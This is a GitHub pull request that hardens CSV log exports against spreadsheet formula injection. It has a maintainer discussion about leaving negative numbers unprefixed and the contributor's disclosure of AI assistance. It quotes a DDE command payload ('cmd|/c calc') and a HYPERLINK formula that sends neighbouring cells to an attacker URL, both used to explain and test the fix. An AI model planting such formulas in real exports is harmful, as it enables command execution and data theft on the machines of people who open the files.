Repository navigation
Neutralise formula prefixes in CSV log exports - #3877
Open
MauryaQbit wants to merge 2 commits into
Open
MauryaQbit wants to merge 2 commits into
MauryaQbit wants to merge 2 commits into
Conversation
generateCSV escaped quotes only when a value happened to contain a comma and never neutralised formula prefixes, so every CSV log export could emit attacker controlled cells that execute when an admin opens the file. actor is a virtual API key name validated as nothing more than a non-empty string, and path, host, originalRequestURL, metadata and the AI session bodies come straight from the client request. Each value now goes through a single encoder that collapses CR, LF and CRLF to a literal \n so a record can never be split across rows, prefixes a leading apostrophe when the first character would make a spreadsheet evaluate the cell as a formula, and quotes whenever the field contains a comma or a quote instead of only when it contains a comma. Headers use the same encoder so a column name cannot desynchronise the rows from the header row. The five CSV export endpoints also declare charset=utf-8, matching the content type already used by the log streaming destination. Fixes fosrl#3864
MauryaQbit
requested review from
miloschwartz and
oschwartz10612
as code owners
October 8, 2026 09:14
Member
|
I think I would expect negative numbers to be rendered as numbers but otherwise this makes sense. |
Contributor
Author
|
@oschwartz10612 You're right, that's a fair point — -12 isn't a formula so it shouldn't come out as text. I'll only add the ' prefix when the value starts with - but isn't a plain number, so the DDE stuff like -2+3+cmd|'/c calc'!A0 still gets blocked while normal negative numbers stay numbers. I'll update the tests and push a commit shortly, thanks! |
A leading '-' only matters when the value is not a plain number, so -12 and -1.5 stay numeric while payloads like -2+3+cmd|'/c calc'!A0 still get the apostrophe prefix.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Community Contribution License Agreement
By creating this pull request, I grant the project maintainers an unlimited,
perpetual license to use, modify, and redistribute these contributions under any terms they
choose, including both the AGPLv3 and the Fossorial Commercial license terms. I
represent that I have the right to grant this license for all contributed content.
AI Disclosure
I used AI help on this one — tracing the export paths from the issue, writing the encoder, and writing the tests. I reproduced the issue's outputs by running the original function locally before and after the change. One honest caveat: I haven't opened a generated export in Excel myself, so the "spreadsheet won't evaluate this" part is going off documented behavior, not something I watched happen.
Description
Fixes #3864.
Every CSV log export in the product funnels through
generateCSV, and it had three problems:=,+,-,@(and tab/CR) as a formula — even when the cell is quoted, since they unquote first and evaluate second. So quoting was never going to save us. And the columns are all attacker-controlled text:actoris just a virtual API key name with a non-empty check on it,path/host/originalRequestURL/metadatacome straight off the client's request, and the AI session export carries full request/response bodies. The&A1form is the one that actually worries me, since it reads neighboring cells and can ship their contents out to an attacker URL.evil"cellsailed through raw and ate every column after it.=sitting at the start of a forged row.The fix puts every value (and header) through one small encoder that, in order: collapses CR/LF/CRLF down to a literal
\nso a record is always exactly one line; prefixes'when the first character would trigger formula evaluation; and quotes + doubles up quotes whenever the field contains a comma or a quote. The ordering matters — newline collapse has to come first, otherwise a=on a continuation line would still be live.null/undefinedstill render as empty fields exactly like before, and the empty-export placeholder header is byte-for-byte unchanged.Also switched all five CSV export endpoints over to
text/csv; charset=utf-8, which is what the S3 log-streaming destination already sends.Two things I'd like a second pair of eyes on:
-12becomes'-12). Displays identically, but Excel will treat it as text rather than a number. I think that's the right trade —-2+3+cmd|'/c calc'!A0is a genuine DDE payload and these exports are read by people, not parsed back — but happy to narrow the prefix set if you'd rather keep numeric columns numeric.toCsvinS3LogDestination.tsalone. It has the same missing prefix handling, but that's a machine-ingestion format, and sticking'in front of values there would corrupt downstream data instead of protecting anyone. Mentioning it here in case you want a separate decision on it.Proof — before vs after
I ran the issue's exact PoCs through the committed code on both sides (
main @ 58a3701vs this branch). Outputs are stringified so every newline is visible.Case 1 — DDE / formula prefixes going out raw:
Case 2 — one record forging three rows, the middle one a formula:
(before: 4 physical lines; after: 2 — one record is one line again, and there's no
=left at the start of any line.)Case 3 — a quote without a comma eating the columns after it:
Case 4 — the actual exploit from the report, a virtual API key named
=HYPERLINK("http://attacker.tld/?d="&A1,"click me"):Worth staring at this one for a second: the before output is quoted, and it doesn't matter — the spreadsheet strips the quotes and evaluates anyway. The leading
'in the after output is the whole fix.How to test?
New test file covers the three cases from the report plus the HYPERLINK exfil case, a leading TAB, CRLF, benign rows staying byte-identical, a prefix that only appears mid-value (should be left alone), a comma in a header, and the unchanged empty-export output. I also ran
npx tsc --noEmit(0 errors — and I sanity-checked the invocation itself by planting a deliberate type error and watching it get caught).On CI this PR is green across
test,build-sqlite, andbuild-postgres.Two local-only notes so nobody chases ghosts:
prettier --checkflags everything on a Windows checkout including untouched upstream files (CRLF vs LF), so I verified formatting with--end-of-line lfinstead — no diff. And if you run the full*.test.tssuite locally, three files (ip,traefikConfig,migrationsSqlite.backup) fail identically on pristinemain— pre-existing breakage unrelated to this change (missing side-effect import, a circular import, and a migration assuming a table the seed never creates). I left those out of this PR on purpose; can spin up a follow-up if you want them fixed.